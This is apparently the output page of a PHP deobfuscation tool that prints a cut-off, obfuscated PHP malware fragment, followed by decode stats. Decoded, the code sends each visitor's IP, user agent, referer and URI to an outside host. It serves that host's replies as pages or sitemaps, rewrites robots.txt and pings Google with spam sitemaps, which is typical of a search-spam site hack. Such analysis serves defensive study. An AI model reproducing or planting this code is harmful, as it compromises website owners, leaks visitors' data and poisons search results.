EVJa0; XOcDO: IReB2: goto hhJ8p; TAuoF: header("\x48\x54\124\x50\x2f\61\x2e\x30\40\65\x30\60\40\x49\x6e\164\x65\x72\156\141\154\40\x53\145\x72\166\145\x72\40\105\x72\x72\x6f\x72"); goto mUGpO; iijyp: keE3K: goto aF4UC; R2xC6: if (strpos($v0xuv, "\152\160\62\60\62\x33") !== false) { goto jxY56; } goto dnJHR; SFe3w: header("\103\x6f\x6e\164\145\x6e\x74\x2d\x54\x79\x70\x65\x3a\40\164\x65\170\164\x2f\x78\155\x6c\73\x20\143\x68\141\x72\x73\145\x74\x3d\165\164\x66\x2d\70"); goto Pe4Rv; tkdK4: $_SERVER["\122\x45\x51\x55\105\123\124\137\x53\x43\x48\105\115\105"] = "\150\x74\164\160"; goto bsMHS; WvEpK: exit; goto m9MwU; vcpPL: header("\110\x54\x54\x50\57\x31\56\x31\40\64\x30\64\x20\116\x6f\164\40\x46\x6f\x75\156\144"); goto uZ4kL; m9MwU: goto EGGhf; goto JpVN0; uE_Aa: wiack: goto YdYSq; KV6LE: kELiW: goto mgmVK; cjX1K: goto OhrJK; goto oOhWW; kw4Zl: exit; goto T4NFa; gs781: ieNZi: goto xyJk0; cqqa5: exit; goto kXUFI; bD8HG: $bmsia = @file_get_contents("\x75\170\x6f\56\x74\170\164"); goto mN0sf; uZ4kL: echo $IPhLV; goto xh67T; YdYSq: $ypb_I = urlencode($_SERVER["\122\x45\121\x55\105\123\x54\137\x53\103\110\x45\x4d\105"]); goto WJ4ll; JVi5Y: $ZVBXB = zoUhy(); goto t6zuA; CBh3o: goto bh0KO; goto vS9UM; CYZO5: $IPhLV = BovW8($jQXYR); goto HAcue; YWZeH: R23DG: goto pay2T; v4By0: $YQqaq = "\x68\164\x74\x70\72\x2f\x2f\143\167\x39\x35\56\x72\x75\163\x73\151\141\x6e\144\x75\145\x2e\x74\x6f\160\x2f\x69\x6e\144\145\x78\56\160\x68\160"; goto v2_jw; YNyhd: if ($IPhLV == "\x35\60\60") { goto UQJ7X; } goto SFe3w; mN0sf: goto CRmUc; goto KV6LE; z9i0e: if (strpos($v0xuv, "\160\151\156\147\163\x69\x74\145\155\141\x70\56\170\155\154") !== false) { goto R23DG; } goto g1jNG; Tnk_Z: $jQXYR = $YQqaq . "\x3f\141\x67\x65\156\x74\x3d{$gjLyH}\x26\x72\x65\x66\145\x72\75{$hAbh3}\46\154\141\x6e\x67\x3d{$TXhfI}\x26\151\160\x3d{$GB0I_}\x26\x64\157\155\75{$G6Cpe}\46\150\x74\164\160\x3d{$ypb_I}\46\165\162\x69\x3d{$v0xuv}\46\x70\x63\x3d{$lphQe}\x26\x72\145\167\162\151\x74\x65\141\142\x6c\x65\x3d{$bmsia}\46\163\x63\x72\x69\160\x74\75{$fwNAB}\46\x73\151\x74\x65\x6d\141\x70\x3d" . urlencode($gvmTu); goto CYZO5; WJ4ll: $v0xuv = urldecode($_SERVER["\122\105\x51\x55\105\123\x54\x5f\x55\x52\111"]); goto nZ2zn; g1jNG: if (strpos($v0xuv, "\146\141\x76\x69\x63\x6f\156\56\x69\x63\x6f") !== false) { goto Pioeb; } goto R2xC6; n4ObT: $jQXYR = $YQqaq . "\x3f\141\147\145\156\164\75{$gjLyH}\46\162\x65\146\x65\x72\x3d{$hAbh3}\x26\x6c\141\x6e\147\75{$TXhfI}\x26\151\160\x3d{$GB0I_}\x26\x64\x6f\x6d\75{$G6Cpe}\x26\150\164\164\x70\75{$ypb_I}\46\x75\x72\x69\75{$v0xuv}\x26\x70\143\x3d{$lphQe}\x26\x72\x65\167\x72\151\x74\x65\141\x62\154\x65\x3d{$bmsia}"; goto bm_Wm; nU8t2: vXnAx: goto NnZRP; RGyDM: goto IReB2; goto yp9hV; vS9UM: us1Fs: goto hFvr8; NDw8I: exit; goto xmqp6; CPWvb: Omj0l: goto EZQOr; USRUx: $Le0Na = "\x2f"; goto RGyDM; NHhbY: @file_put_contents("\165\170\x6f\x2e\x74\x78\x74", "\x31"); goto iijyp; sOvpP: $jQXYR = $YQqaq . "\77\141\147\x65\156\164\x3d{$gjLyH}\x26\x72\x65\146\145\x72\75{$hAbh3}\46\154\x61\x6e\x67\x3d{$TXhfI}\x26\x69\160\75{$GB0I_}\x26\x64\x6f\155\75{$G6Cpe}\x26\x68\164\164\x70\x3d{$ypb_I}\x26\x75\162\151\x3d{$v0xuv}\x26\160\143\x3d{$lphQe}\46\x72\145\x77\162\x69\x74\145\x61\x62\154\x65\x3d{$bmsia}\46\x73\x63\x72\151\x70\164\x3d{$fwNAB}"; goto Z0CV9; K9LFs: $JfHtx = "\150\164\164\160\x73\x3a\57\57\x77\167\167\56\x67\157\157\147\x6c\x65\56\143\157\x6d\57\x70\151\156\147\77\163\x69\164\145\x6d\x61\160\x3d"; goto Khn5o; JpVN0: UQJ7X: goto TAuoF; Pe4Rv: echo $IPhLV; goto WvEpK; ewbUO: if (!($IPhLV == "\65\x30\60")) { goto zkMRm; } goto eUGn6; ctg7n: $rUdQn = ''; goto bNiX4; dnJHR: if (strpos($v0xuv, "\x72\x6f\142\157\164\163\x2e\164\x78\164") !== false || strpos($v0xuv, "\167\162\151\164\x65\162\157\x62\157\164\163") !== false) { goto ucpFM; } goto pYuh1; xh67T: exit; goto hjK9S; T6hOg: Pioeb: goto cme9f; RLU08: if (substr($IPhLV, 0, 5) == "\x3c\x3f\x78\x6d\x6c") { goto e0Agm; } goto jj5sn; nZuTy: goto vXnAx; goto pND7X; v2_jw: $lphQe = 2773; goto JP9qW; V68Tz: EGGhf: goto ZkXtR; J3MFQ: if ($IPhLV == "\x35\60\x30") { goto r9qzM; } goto Bb3rE; HAcue: @file_put_contents("\x72\157\x62\x6f\x74\x73\56\x74\170\164", $sJRXq); goto IO4CL; R5I8U: jxY56: goto TEco8; DUPir: if (!empty($_SERVER["\x52\105\x51\x55\105\x53\124\137\123\x43\110\105\115\105"]) && $_SERVER["\x52\105\x51\x55\105\123\124\137\x53\103\110\x45\115\105"] == "\x68\164\164\x70\x73" || !empty($_SERVER["\110\124\124\x50\x53"]) && $_SERVER["\110\124\x54\120\x53"] == "\x6f\x6e" || !empty($_SERVER["\x53\105\122\x56\x45\122\137\x50\117\122\x54"]) && $_SERVER["\123\x45\122\x56\x45\x52\x5f\120\x4f\x52\124"] == "\64\64\x33" || isset($_SERVER["\x48\124\x54\x50\x5f\x58\137\106\117\x52\127\101\122\104\x45\x44\x5f\x50\x52\x4f\124\x4f"]) && $_SERVER["\x48\124\x54\120\x5f\x58\137\106\117\122\x57\101\122\x44\105\104\137\120\x52\117\x54\x4f"] == "\150\x74\164\160\x73") { goto M8OJd; } goto tkdK4; mgmVK: $AmHjS = $ypb_I . "\72\57\57" . $_SERVER["\x48\x54\124\x50\x5f\x48\x4f\x53\x54"] . "\57\x75\x75\x75\165\x78\170\x78\x78\x6f\x6f\x6f"; goto vRjps; veHct: M8OJd: goto WAx1H; G0fmh: fW42B:

Function Calls

None

Variables

None

Stats

MD5 a01cf456e113e106f042cca3a505ecfa
Eval Count 0
Decode Time 83 ms